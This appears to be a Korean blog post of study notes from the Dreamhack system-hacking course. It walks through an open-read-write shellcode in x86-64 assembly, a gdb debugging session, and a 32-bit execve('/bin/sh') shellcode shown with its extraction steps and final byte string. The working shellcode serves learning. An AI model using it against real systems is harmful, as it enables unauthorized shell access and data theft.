[시스템 해킹] 드림핵_Shellcode

2024. 3. 1. 00:13시스템 해킹

Exploit

; 상대 시스템을 공격하는 것.

 

익스플로잇 공격기법; 셸코드

 

Shellcode; 익스플로잇을 위해 제작된 어셈블리 코드 조각

 

orw 셸코드 작성

; 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드.

##c언어
char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
##어셈블리
#push 0x67
#mov rax, 0x616c662f706d742f 
#push rax
#mov rdi, rsp    ; rdi = "/tmp/flag"
#xor rsi, rsi    ; rsi = 0 ; RD_ONLY
#xor rdx, rdx    ; rdx = 0
#mov rax, 2      ; rax = 2 ; syscall_open
#syscall         ; open("/tmp/flag", RD_ONLY, NULL)

read(fd, buf, 0x30); 
##어셈블리
#mov rdi, rax      ; rdi = fd
#mov rsi, rsp
#sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
#mov rdx, 0x30     ; rdx = 0x30     ; len
#mov rax, 0x0      ; rax = 0        ; syscall_read
#syscall           ; read(fd, buf, 0x30)

write(1, buf, 0x30);
##어셈블리
#mov rdi, 1        ; rdi = 1 ; fd = stdout
#mov rax, 0x1      ; rax = 1 ; syscall_write
#syscall           ; write(fd, buf, 0x30)
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
 
$ gcc -o orw orw.c -masm=intel
$ ./orw
flag{this_is_open_read_write_shellcode!}

만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있을 것.

그리고 /tmp/flag 의 내용 말고도 몇 자의 알 수 없는 문자열들이 출력되는 경우.->디버깅

 

orw셸코드 디버깅

gdb로 열고 run_sh()에 브레이크 포인트 설정

$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129
pwndbg>

run 명령어로 run_sh()의 시작 부분까지 코드를 실행.

pwndbg> r
Starting program: /home/dreamhack/orw
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555555129 in run_sh ()
...
*RIP  0x555555555129 (run_sh) ◂— push 0x67
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
 ► 0x555555555129 <run_sh>       push   0x67
   0x55555555512b <run_sh+2>     movabs rax, 0x616c662f706d742f
   0x555555555135 <run_sh+12>    push   rax
   0x555555555136 <run_sh+13>    mov    rdi, rsp
   0x555555555139 <run_sh+16>    xor    rsi, rsi
   0x55555555513c <run_sh+19>    xor    rdx, rdx
   0x55555555513f <run_sh+22>    mov    rax, 2
   0x555555555146 <run_sh+29>    syscall
   0x555555555148 <run_sh+31>    mov    rdi, rax
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
...
pwndbg>

 

원인; 초기화되지 않은 메모리 영역 사용.

각 함수가 자신들의 스택 프레임을 할당해서 사용하고, 종료될 때 해제.

해제: 사용한 영역을 0으로 초기화하는 것이 아니라, 단순히 rsp와 rbp를 호출한 함수의 것으로 이동시키는 것

쓰레기 값: 어떤 함수를 해제한 이후, 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재

-예상치 못한 동작 야기

-해커에게 중요한 정보 노출: 메모리 릭(Memory Leak)

 

셸 Shell

: 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스. 운영체제의 핵심 기능을 하는 프로그램을 커널(Kernel, 호두 속 내용물)이라고 하는 것과 대비.

셸을 획득하면 시스템 제어 가능. 통상적으로 셸 획득을 시스템 해킹의 성공으로 여김.

 

execve 셸코드

: 임의의 프로그램을 실행하는 셸코드. 서버의 셸 획득 가능.

 

 

objdump를 이용한 shellcode 추출

작성한 shellcode를 byte code(opcode)의 형태로 추출

#어셈블리코드
; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80
#shellcode.o
$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$
#shellcode.bin
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$
#shellcode string
# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"